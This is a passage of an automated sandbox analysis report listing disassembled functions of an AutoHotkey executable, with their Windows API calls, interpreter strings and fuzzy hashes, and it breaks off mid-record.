Target label does not exist., xrefs: 0043350C
Parameter #2 invalid., xrefs: 004335EA
Parameter #1 invalid., xrefs: 00433536

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Delete$Parameter #1 invalid.$Parameter #1 must not be blank in this case.$Parameter #2 invalid.$Target label does not exist.
API String ID: 3832890014-14243736
Opcode ID: d73222ed3f77a20571a5772824bb5952d45f75951e80014aafe066afec3bb9de
Instruction ID: 3c56a17159200bc7323e9082a88066785b87e6399f1e11d670167195e7c504db
Opcode Fuzzy Hash: d73222ed3f77a20571a5772824bb5952d45f75951e80014aafe066afec3bb9de
Instruction Fuzzy Hash: 4741D471B842007BEB209E158C02F6B73B5AB89715F24542FF8189B391D7BDEE41876E

Uniqueness

Uniqueness Score: -1.00%

Function 00486270 Relevance: 10.6, APIs: 7, Instructions: 116COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,0043397D,?,00000000), ref: 0048628C

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: ab6e80ae928b1ffa683521c2860787cece8a328c6e89f92090e1b3486b11ed78
Instruction ID: ee77ccb0f1229a59f12da3a57baef158f02274e1db10a80bdfbd89a0f63d3202
Opcode Fuzzy Hash: ab6e80ae928b1ffa683521c2860787cece8a328c6e89f92090e1b3486b11ed78
Instruction Fuzzy Hash: 623148727011016BE790B724AC41F7FB799DBD132AF22093BF901DA280EB299C4183A9

Uniqueness

Uniqueness Score: -1.00%

Function 0042F2B1 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 0042F36A

Strings

Out of memory., xrefs: 0042FCF4
Missing close-quote, xrefs: 0042FD16
-, xrefs: 0042F3B2
+-*&~!, xrefs: 0042F365
Expression too long, xrefs: 0043080B

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _wcschr
String ID: +-*&~!$-$Expression too long$Missing close-quote$Out of memory.
API String ID: 2691759472-2428279368
Opcode ID: 70016c92c137f777b00cc642960834994c6f9399d4104470ab9ff7e6849d55fe
Instruction ID: 1588306d6da921be8bf4bb5e3526f79fe35ad6370e4d73b5910f7690c4c34a70
Opcode Fuzzy Hash: 70016c92c137f777b00cc642960834994c6f9399d4104470ab9ff7e6849d55fe
Instruction Fuzzy Hash: 3B310075B80225E7CF24DE45D8817BE72B0AB04B10FB441BBEC55A32C0E67DAE45CA69

Uniqueness

Uniqueness Score: -1.00%

Function 0046B09E Relevance: 10.6, APIs: 7, Instructions: 86windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000192), ref: 0046B0BE
SendMessageW.USER32(?,00000030,?,?), ref: 0046B0F3
SendMessageW.USER32 ref: 0046B107
MulDiv.KERNEL32(00000008,00000060,00000060), ref: 0046B120
GetSystemMetrics.USER32(00000003), ref: 0046B133
MulDiv.KERNEL32(00000008,00000060,00000060), ref: 0046B165
GetSystemMetrics.USER32(00000003), ref: 0046B189

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSend$MetricsSystem
String ID:
API String ID: 3542082049-0
Opcode ID: 70c031aae732f47cfc3ab0d1d2015c741b66ea58a022e6316f7fdaf0d327b8ce
Instruction ID: d1bf28363fa887d427dc87c3bf29de07d86ed5db2934bd597699f7590ae87244
Opcode Fuzzy Hash: 70c031aae732f47cfc3ab0d1d2015c741b66ea58a022e6316f7fdaf0d327b8ce
Instruction Fuzzy Hash: C031AFB5748380AFD325CB54CCA5BAA7BA5FB8A300F04445EF58A9B2C1D774A801CB5B

Uniqueness

Uniqueness Score: -1.00%

Function 00462180 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 68COMMON

Download Yara Rule

Strings

ComObject, xrefs: 00462222
ComObj, xrefs: 00462229
ComObjRef, xrefs: 0046219E
ComObjArray, xrefs: 0046218F

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID: ComObj$ComObjArray$ComObjRef$ComObject
API String ID: 0-4247866589
Opcode ID: 93cc88699e0a0a672be6007e5a5278b9b6cfab64b3cd2fbeccf7091b198b0e22
Instruction ID: 4a6c724f08449a04d781825f8952dd52a345a76cc97d103b364f04dd4bd7a545
Opcode Fuzzy Hash: 93cc88699e0a0a672be6007e5a5278b9b6cfab64b3cd2fbeccf7091b198b0e22
Instruction Fuzzy Hash: 3B11B225705601ABD6148A1DE944F666398EF85711F24496BF600C77D0EBA8DC44C3AE

Uniqueness

Uniqueness Score: -1.00%

Function 00473870 Relevance: 10.6, APIs: 7, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0047388C
SendMessageW.USER32(?,0000102F,00000000,00000000), ref: 004738A0
SendMessageW.USER32(?,00001024,00000000,?), ref: 004738CF
GetSysColor.USER32(00000005), ref: 004738E3
SendMessageW.USER32(?,00001026,00000000,?), ref: 004738F6
SendMessageW.USER32(?,00001001,00000000,?), ref: 00473903
InvalidateRect.USER32(00000000,00000000,00000001,?,0000000B,00000000,00000000,?,00000192,?,?), ref: 0047390C

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSend$ColorInvalidateRect
String ID:
API String ID: 2722326260-0
Opcode ID: 3e7659e6f9082ed6dc79fcb128e74a30ed78c172b3edf45ec36e39176db946fd
Instruction ID: ce49840a3c1865a27f7a96bb7525aabdba85ace422e6c0018a795d5ff722140c
Opcode Fuzzy Hash: 3e7659e6f9082ed6dc79fcb128e74a30ed78c172b3edf45ec36e39176db946fd
Instruction Fuzzy Hash: D7116070640301ABD6309F688C85FD7B7A8BF4CB11F25461AFA99A73C0D3B4A8819A58

Uniqueness

Uniqueness Score: -1.00%

Function 0044A145 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 0047FFB0: _vswprintf_s.LIBCMT ref: 0047FFC9

mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0044A16E
mciSendStringW.WINMM(status cd mode,?,00000080,00000000), ref: 0044A187
mciSendStringW.WINMM(close cd wait,00000000,00000000,00000000), ref: 0044A196

Strings

status cd mode, xrefs: 0044A182
open %s type cdaudio alias cd wait shareable, xrefs: 0044A146
close cd wait, xrefs: 0044A18F

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: SendString$_vswprintf_s
String ID: close cd wait$open %s type cdaudio alias cd wait shareable$status cd mode
API String ID: 3589064202-1182961480
Opcode ID: 4c4a8c5bf0ea6b50bda6c9ec065e4b5e1ead1c44c0c679a6e2156b68cb87758b
Instruction ID: 83100f4548e1a52b38ec0aadeb75b89eb01e0ea37288db2e344648ea897d45e5
Opcode Fuzzy Hash: 4c4a8c5bf0ea6b50bda6c9ec065e4b5e1ead1c44c0c679a6e2156b68cb87758b
Instruction Fuzzy Hash: A301B1727C430476E630E6659C43FDBB758DB84B61F60062BBB18AB1C0DEE9680486ED

Uniqueness

Uniqueness Score: -1.00%

Function 0041B6A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMON

Download Yara Rule

Strings

FAST, xrefs: 0041B6FE
RegEx, xrefs: 0041B6E6
SLOW, xrefs: 0041B716

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID: FAST$RegEx$SLOW
API String ID: 0-3371325577
Opcode ID: e289cd83311e990c22f21dff4b48f73f2d6a0ef5988d17e3250ec0243255fc8a
Instruction ID: 403a7620c2c2fdd0d72c4b3da8f0f2766dc39b37c56ee6285f47f1f86f31ed2e
Opcode Fuzzy Hash: e289cd83311e990c22f21dff4b48f73f2d6a0ef5988d17e3250ec0243255fc8a
Instruction Fuzzy Hash: 86F0A428A4091012DF3565288C137EB61A0DB71B16FD4886BF854C53C0F79CCDC4C2EE

Uniqueness

Uniqueness Score: -1.00%

Function 00484420 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(00000000,00000010,00000000,00000000), ref: 00484437
GetTickCount.KERNEL32 ref: 00484450
IsWindow.USER32(00000000), ref: 0048446A
GetTickCount.KERNEL32 ref: 00484474
IsWindow.USER32(00000000), ref: 0048448F

Part of subcall function 0045F490: SendMessageTimeoutW.USER32(00000000,00000010,00000000,00000000,00000002,000001F4,?), ref: 0045F4A9
Part of subcall function 0045F490: GetWindowThreadProcessId.USER32(00000000,?), ref: 0045F4BD
Part of subcall function 0045F490: OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 0045F4D3
Part of subcall function 0045F490: TerminateProcess.KERNEL32(00000000,00000000), ref: 0045F4E2
Part of subcall function 0045F490: CloseHandle.KERNEL32(00000000), ref: 0045F4E9

Strings

?-C, xrefs: 00484448

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ProcessWindow$CountMessageTick$CloseHandleOpenPostSendTerminateThreadTimeout
String ID: ?-C
API String ID: 1366898224-529084794
Opcode ID: e9b634eb4191b3dd2f740d92a04f9ade6f465c0e276e8730f06235c8cc5be3e4
Instruction ID: 9ffa57109529b6633f79e548395238a5c432fc1b5d1be13bd0322142679e9397
Opcode Fuzzy Hash: e9b634eb4191b3dd2f740d92a04f9ade6f465c0e276e8730f06235c8cc5be3e4
Instruction Fuzzy Hash: 11F0283170030273D611777D6C85B3F3A844FC1F4CF14483AF605AA2E1EA69EC01826E

Uniqueness

Uniqueness Score: -1.00%

Function 0041C380 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0041C390
__wcsicoll.LIBCMT ref: 0041C3A8

Strings

Priority, xrefs: 0041C38A
NoTimers, xrefs: 0041C3BA
Interrupt, xrefs: 0041C3A2

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Interrupt$NoTimers$Priority
API String ID: 3832890014-3223323590
Opcode ID: d4acd4e402cc93bf1f51f9c32db97eeee8b8841bf0839f26bc9b6c265f7fc3b7
Instruction ID: f16713c71150c0f4a54a079feca92610c107978e789b91b71aa973e6bd543f6f
Opcode Fuzzy Hash: d4acd4e402cc93bf1f51f9c32db97eeee8b8841bf0839f26bc9b6c265f7fc3b7
Instruction Fuzzy Hash: 7EE09225AC191521CE1120395D437DF60854B50B07FD8867ABC14D02C0F38DCD81C1AD

Uniqueness

Uniqueness Score: -1.00%

Function 004AB702 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004AB723

Part of subcall function 0049DF62: __getptd_noexit.LIBCMT ref: 0049DF65
Part of subcall function 0049DF62: __amsg_exit.LIBCMT ref: 0049DF72

__getptd.LIBCMT ref: 004AB734
__getptd.LIBCMT ref: 004AB742

Strings

RCC, xrefs: 004AB70E
csm, xrefs: 004AB71C
MOC, xrefs: 004AB715

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: 537dfc7255d2be0cafcd0820cdf55bb1c534b0320ce8007d67348f54640e4629
Instruction ID: ca3b1d7ad069dbb9386ff367875a14fc625f560a4ce55cdfb62afa1bd11507c2
Opcode Fuzzy Hash: 537dfc7255d2be0cafcd0820cdf55bb1c534b0320ce8007d67348f54640e4629
Instruction Fuzzy Hash: 92E012345102088ECF14D769C45B7A937D4EB99319F5944B7E44DCB323C76CEC50458B

Uniqueness

Uniqueness Score: -1.00%

Function 00455680 Relevance: 9.4, APIs: 6, Instructions: 393COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,-0000F939,00000000,?,00000000,00000000,00000000,00000000), ref: 0045596A
GetLastError.KERNEL32 ref: 00455970
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00455993
WideCharToMultiByte.KERNEL32(?,-0000F939,00000000,?,00010000,00000000,00000000,00000000), ref: 004559CB
MultiByteToWideChar.KERNEL32(000004B0,00000000,00010000,00000000,00000000,00000000), ref: 00455A03
MultiByteToWideChar.KERNEL32(?,00000000,00010000,00000000,?,?), ref: 00455A2F

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 65ab9c99be0ed5a71a5eb4ae19f22be201836f94314bcc7e66ef52b62e76a6f9
Instruction ID: 0dd25a984bc58823cc0d9f9f3a0728df6356d0332b5d25c1e721d57ac511ae0d
Opcode Fuzzy Hash: 65ab9c99be0ed5a71a5eb4ae19f22be201836f94314bcc7e66ef52b62e76a6f9
Instruction Fuzzy Hash: 36D1F3716046019FD710DF18D890B3BB7A1EFC8326F14866AED198B382D739EC49C79A

Uniqueness

Uniqueness Score: -1.00%

Function 0040F6C0 Relevance: 9.4, APIs: 6, Instructions: 370COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040F6E1
UnregisterHotKey.USER32(0002044A,?), ref: 0040F77B

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Unregister_memset
String ID:
API String ID: 2392160147-0
Opcode ID: 02161f978aaf72eef8d4f8bbb1335e075c942fa0905e7a85a0775cb9054f7f9a
Instruction ID: 7217b14692c7048fae6681bf1a95b232c7df4c8d591be2729b75319de405d111
Opcode Fuzzy Hash: 02161f978aaf72eef8d4f8bbb1335e075c942fa0905e7a85a0775cb9054f7f9a
Instruction Fuzzy Hash: 64E10560A083809AEB358F2484447677BA1AB12304F1845BFD4C5ABFD2D37CED8EC75A

Uniqueness

Uniqueness Score: -1.00%

Function 004AC4A0 Relevance: 9.3, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 004AC5A1
__FindPESection.LIBCMT ref: 004AC5BB

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: 7a013d0c5d8106d021d7f500489f19406dab95ab609641f313480db279615ba4
Instruction ID: 2b5060a530d911210692ca2e4632e24c5838b4fbdbf168b7c2b95b22119d00ed
Opcode Fuzzy Hash: 7a013d0c5d8106d021d7f500489f19406dab95ab609641f313480db279615ba4
Instruction Fuzzy Hash: A591D336A00216DBCB65CF58D9C07AEB7A1EBA6714F15822BD815D7390E739EC01CB9C

Uniqueness

Uniqueness Score: -1.00%

Function 0045B5D0 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 390COMMON

Download Yara Rule

APIs

joyGetDevCapsW.WINMM(?,?,000002D8), ref: 0045B60F
_memset.LIBCMT ref: 0045B625
joyGetPosEx.WINMM ref: 0045B667

Strings

4, xrefs: 0045B657
@, xrefs: 0045BAE2

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Caps_memset
String ID: 4$@
API String ID: 675830301-1528247400
Opcode ID: 2a6ad8970d5377bef85bab6a09cc5ca72a6e361fd0c168d9371709fc54fb0ed0
Instruction ID: 345be5edd868760c976f2915aba37b937ac8f700645dc57489b461cddc8d2f83
Opcode Fuzzy Hash: 2a6ad8970d5377bef85bab6a09cc5ca72a6e361fd0c168d9371709fc54fb0ed0
Instruction Fuzzy Hash: DDE19E356083428BD7248F16D8447AAB7E0FFC4316F54892EEC9983752D73DA94CCB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00468493 Relevance: 9.1, APIs: 6, Instructions: 100windowCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00468001
SendMessageW.USER32(?,00000184,00000000,00000000), ref: 00468070

Part of subcall function 00473B90: SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00473BAD
Part of subcall function 00473B90: GetWindowLongW.USER32(?,000000F0), ref: 00473BB9
Part of subcall function 00473B90: IsWindowVisible.USER32(?), ref: 00473BDA
Part of subcall function 00473B90: IsIconic.USER32(?), ref: 00473BED
Part of subcall function 00473B90: GetWindowRect.USER32(?,?), ref: 00473C51
Part of subcall function 00473B90: GetPropW.USER32(?,ahk_dlg), ref: 00473C60
Part of subcall function 00473B90: ShowWindow.USER32(00000000,00000000,?,ahk_dlg,?,?), ref: 00473C74
Part of subcall function 00473B90: GetUpdateRect.USER32(?,?,00000000), ref: 00473C9C
Part of subcall function 00473B90: SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 00473CAA

SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 004684F1
GetWindowLongW.USER32(?,000000F0), ref: 00468504
SendMessageW.USER32(00000000,00001330,-00000001,00000000), ref: 0046851D
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0046852C

Part of subcall function 00473F30: SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00473F47

SendMessageW.USER32(?,0000130C,-00000001,00000000), ref: 00468557

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSend$Window$LongRect$IconicPropShowUpdateVisible_free
String ID:
API String ID: 3032506294-0
Opcode ID: 7d4d2a5b45b32c7a97fae66c7f650e451546cdbdd1522101d90dcd3c6bebfe7f
Instruction ID: 6ad5d380e51d9b94d348351c943cb2fe6b075b85640b63b8ea8c5ae536d1edf2
Opcode Fuzzy Hash: 7d4d2a5b45b32c7a97fae66c7f650e451546cdbdd1522101d90dcd3c6bebfe7f
Instruction Fuzzy Hash: 6C31D931644300ABD7209F24DC91F6B77A0AB84714F184A2FF6455B2C2EA79E945C75F

Uniqueness

Uniqueness Score: -1.00%

Function 00462370 Relevance: 9.1, APIs: 6, Instructions: 90COMMON

Download Yara Rule

APIs

SafeArrayGetDim.OLEAUT32(?), ref: 0046237D
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0046239B
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 004623B5
SafeArrayAccessData.OLEAUT32(?,?), ref: 004623CD
SafeArrayGetElemsize.OLEAUT32(?), ref: 004623F1

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

